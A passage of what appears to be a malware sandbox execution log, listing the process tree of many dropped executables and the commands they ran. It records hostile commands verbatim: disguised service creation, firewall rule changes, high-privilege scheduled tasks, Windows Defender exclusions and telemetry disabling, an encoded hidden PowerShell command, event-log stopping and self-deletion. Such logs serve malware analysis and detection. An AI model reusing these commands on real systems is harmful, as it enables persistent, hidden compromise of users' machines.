        PID:6388
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3796
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:7544
- C:\Users\Admin\Documents\GuardFox\MQTm7pamwl0GhYqtH4tnWUSn.exe
  "C:\Users\Admin\Documents\GuardFox\MQTm7pamwl0GhYqtH4tnWUSn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dhagmhyb\
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\foufdsk.exe" C:\Windows\SysWOW64\dhagmhyb\
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" create dhagmhyb binPath= "C:\Windows\SysWOW64\dhagmhyb\foufdsk.exe /d\"C:\Users\Admin\Documents\GuardFox\MQTm7pamwl0GhYqtH4tnWUSn.exe\"" type= own start= auto DisplayName= "wifi support"
    3⤵
    - Launches sc.exe
    PID:4392
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" description dhagmhyb "wifi internet conection"
    3⤵
    - Launches sc.exe
    PID:2104
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" start dhagmhyb
    3⤵
    - Launches sc.exe
    PID:4500
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5820
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
    3⤵
    - Modifies Windows Firewall
    PID:5184
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1860
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 1072
    3⤵
    - Program crash
    PID:2628
- C:\Users\Admin\Documents\GuardFox\k8WBRS3SiIICY6ZginpKYfr1.exe
  "C:\Users\Admin\Documents\GuardFox\k8WBRS3SiIICY6ZginpKYfr1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1364
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 748
    3⤵
    - Program crash
    PID:1028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 756
    3⤵
    - Program crash
    PID:4584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 792
    3⤵
    - Program crash
    PID:5592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 800
    3⤵
    - Program crash
    PID:6300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 984
    3⤵
    - Program crash
    PID:7116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 1008
    3⤵
    - Program crash
    PID:7856
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 764
    3⤵
    - Program crash
    PID:6136
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 1328
    3⤵
    - Program crash
    PID:7580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 1372
    3⤵
    - Program crash
    PID:5612
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "k8WBRS3SiIICY6ZginpKYfr1.exe" /f & erase "C:\Users\Admin\Documents\GuardFox\k8WBRS3SiIICY6ZginpKYfr1.exe" & exit
    3⤵
    PID:6352
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "k8WBRS3SiIICY6ZginpKYfr1.exe" /f
      4⤵
      Kills process with taskkill
      PID:3060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 972
    3⤵
    - Program crash
    PID:7976
- C:\Users\Admin\Documents\GuardFox\C64FIk8Cf8pPafXz1O_sgjOH.exe
  "C:\Users\Admin\Documents\GuardFox\C64FIk8Cf8pPafXz1O_sgjOH.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of SetWindowsHookEx
    PID:4364
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3476
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1060
- C:\Users\Admin\Documents\GuardFox\4G825KrphyV_iZQuk8jWFN87.exe
  "C:\Users\Admin\Documents\GuardFox\4G825KrphyV_iZQuk8jWFN87.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Documents\GuardFox\4G825KrphyV_iZQuk8jWFN87.exe" & del "C:\ProgramData\*.dll"" & exit
    3⤵
    PID:9200
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1636
- C:\Users\Admin\Documents\GuardFox\ET7CWEQK8R0EivVy3K2FXLyl.exe
  "C:\Users\Admin\Documents\GuardFox\ET7CWEQK8R0EivVy3K2FXLyl.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5996
- - C:\Users\Admin\AppData\Local\Temp\is-6E143.tmp\ET7CWEQK8R0EivVy3K2FXLyl.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-6E143.tmp\ET7CWEQK8R0EivVy3K2FXLyl.tmp" /SL5="$702CC,1631165,54272,C:\Users\Admin\Documents\GuardFox\ET7CWEQK8R0EivVy3K2FXLyl.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:876
  - - C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe
      "C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe" -i
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:2244
  - - C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe
      "C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe" -s
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:884
- C:\Users\Admin\Documents\GuardFox\ZC13FlD04DzXdwgsB5Fkh3u2.exe
  "C:\Users\Admin\Documents\GuardFox\ZC13FlD04DzXdwgsB5Fkh3u2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:5820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1164
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 632
      4⤵
      Program crash
      PID:1652
- C:\Users\Admin\Documents\GuardFox\37q3MltthDRo9V52dYnXDY3W.exe
  "C:\Users\Admin\Documents\GuardFox\37q3MltthDRo9V52dYnXDY3W.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:5924
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 1756
      4⤵
      Program crash
      PID:1064
- C:\Users\Admin\Documents\GuardFox\WUMp7rMGssijGv3EayXGEdTM.exe
  "C:\Users\Admin\Documents\GuardFox\WUMp7rMGssijGv3EayXGEdTM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6088
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:6368
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:6860
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:6476
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:8356
- C:\Users\Admin\Documents\GuardFox\4H8OidaW6330ZZHqlfRrxdFC.exe
  "C:\Users\Admin\Documents\GuardFox\4H8OidaW6330ZZHqlfRrxdFC.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=2214
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2652
- - C:\Users\Admin\AppData\Local\Temp\is-GU60B.tmp\4H8OidaW6330ZZHqlfRrxdFC.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-GU60B.tmp\4H8OidaW6330ZZHqlfRrxdFC.tmp" /SL5="$50302,5598936,832512,C:\Users\Admin\Documents\GuardFox\4H8OidaW6330ZZHqlfRrxdFC.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=2214
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:4836
  - - C:\Users\Admin\AppData\Local\Temp\is-HQNP9.tmp\_isetup\_setup64.tmp
      helper 105 0x40C
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:5984
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /Query /TN "DigitalCloudUpdateTask"
      4⤵
      PID:3392
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /Create /TN "DigitalCloudUpdateTask" /SC HOURLY /TR "C:\Users\Admin\AppData\Roaming\DigitalCloud\DigitalCloudUpdate.exe"
      4⤵
      Creates scheduled task(s)
      PID:4792
  - - C:\Users\Admin\AppData\Roaming\DigitalCloud\DigitalCloudService.exe
      "C:\Users\Admin\AppData\Roaming\DigitalCloud\DigitalCloudService.exe" 2214:::clickId=:::srcId=
      4⤵
      PID:3748
- C:\Users\Admin\Documents\GuardFox\inB9ZFkaTqQ4D71f7LMbuUN0.exe
  "C:\Users\Admin\Documents\GuardFox\inB9ZFkaTqQ4D71f7LMbuUN0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1684
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:1712
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    PID:5940
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    PID:680
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    PID:3308
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "PHSWJLZY"
    3⤵
    - Launches sc.exe
    PID:2236
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "PHSWJLZY" binpath= "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3952
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1728
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "PHSWJLZY"
    3⤵
    - Launches sc.exe
    PID:5528
- C:\Users\Admin\Documents\GuardFox\JnY_uSIsXEd8_hHrbCzU3peH.exe
  "C:\Users\Admin\Documents\GuardFox\JnY_uSIsXEd8_hHrbCzU3peH.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4304
- - C:\Users\Admin\AppData\Local\Temp\7zS1E7A.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3492
  - - C:\Users\Admin\AppData\Local\Temp\7zS4F4E.tmp\Install.exe
      .\Install.exe /MlgBididAt "525403" /S
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:5004
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:5692
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:3852
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:680
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:6000
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:3996
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:4908
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:5632
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:5520
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "ggtifsEll" /SC once /ST 07:12:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:2548
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "ggtifsEll"
        5⤵
        
        PID:3616
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "ggtifsEll"
        5⤵
        
        PID:5548
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bfNbHvxcYNsqPQKSWz" /SC once /ST 11:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU\XCHQDlEuRWMzZAu\erHCNAq.exe\" 9g /bOsite_iddgl 525403 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:7104
- C:\Users\Admin\Documents\GuardFox\gIXQ1OkgTkAsWyZGFref6avU.exe
  "C:\Users\Admin\Documents\GuardFox\gIXQ1OkgTkAsWyZGFref6avU.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3556
- C:\Users\Admin\Documents\GuardFox\2CSbVAtiXwMdPbv2mZIJMEE1.exe
  "C:\Users\Admin\Documents\GuardFox\2CSbVAtiXwMdPbv2mZIJMEE1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4408
- C:\Users\Admin\Documents\GuardFox\gJy314BWGgrsSrZ7K5Uq2Af9.exe
  "C:\Users\Admin\Documents\GuardFox\gJy314BWGgrsSrZ7K5Uq2Af9.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4616
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5380
- C:\Users\Admin\Documents\GuardFox\m08Jgn4eMEcsHf0FvWrpPLsm.exe
  "C:\Users\Admin\Documents\GuardFox\m08Jgn4eMEcsHf0FvWrpPLsm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4048

C:\Users\Admin\Downloads\file_x86_x64\setup.exe
"C:\Users\Admin\Downloads\file_x86_x64\setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:5392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4480 -ip 4480
1⤵
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1164 -ip 1164
1⤵
PID:4368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5280 -ip 5280
1⤵
PID:2380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1364 -ip 1364
1⤵
PID:1072

C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
1⤵
PID:976
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:6080
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:3756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:2004
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:2772
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4920
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:4008
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:6648
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:6656
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:6664
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:6672
  - - C:\Windows\system32\svchost.exe
      svchost.exe
      4⤵
      PID:6684
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:5608
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:5904
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:5248
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:4668
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:6480
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:6920
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:6524
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:7816
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:7824
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:7832
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:7840
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:3020
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:7232
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:6752
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:7484
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:7620
- - C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe
    "C:\ProgramData\jndraacsywhc\todymdgvwmgb.exe"
    3⤵
    PID:6676
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:7244
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:7992
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:7884
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:4864
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:1692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4404 -ip 4404
1⤵
PID:4492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1364 -ip 1364
1⤵
PID:2136

C:\Windows\SysWOW64\dhagmhyb\foufdsk.exe
C:\Windows\SysWOW64\dhagmhyb\foufdsk.exe /d"C:\Users\Admin\Documents\GuardFox\MQTm7pamwl0GhYqtH4tnWUSn.exe"
1⤵
PID:1116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4492
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:11220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1364 -ip 1364
1⤵
PID:4804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5924 -ip 5924
1⤵
PID:5812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1364 -ip 1364
1⤵
PID:6176

C:\Users\Admin\AppData\Local\Temp\33945c4f34\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\33945c4f34\Dctooux.exe
1⤵
PID:6708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1364 -ip 1364
1⤵
PID:6680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1364 -ip 1364
1⤵
PID:7636

C:\Windows\SysWOW64\werfault.exe
werfault.exe /h /shared Global\ba676e59c6434752ab8d749778b07863 /t 4188 /p 4156
1⤵
PID:7360

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:7684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 6596 -ip 6596
1⤵
PID:8144

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
PID:9168
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:3132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 9632 -ip 9632
1⤵
PID:10328

C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU\XCHQDlEuRWMzZAu\erHCNAq.exe
C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU\XCHQDlEuRWMzZAu\erHCNAq.exe 9g /bOsite_iddgl 525403 /S
1⤵
PID:10760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
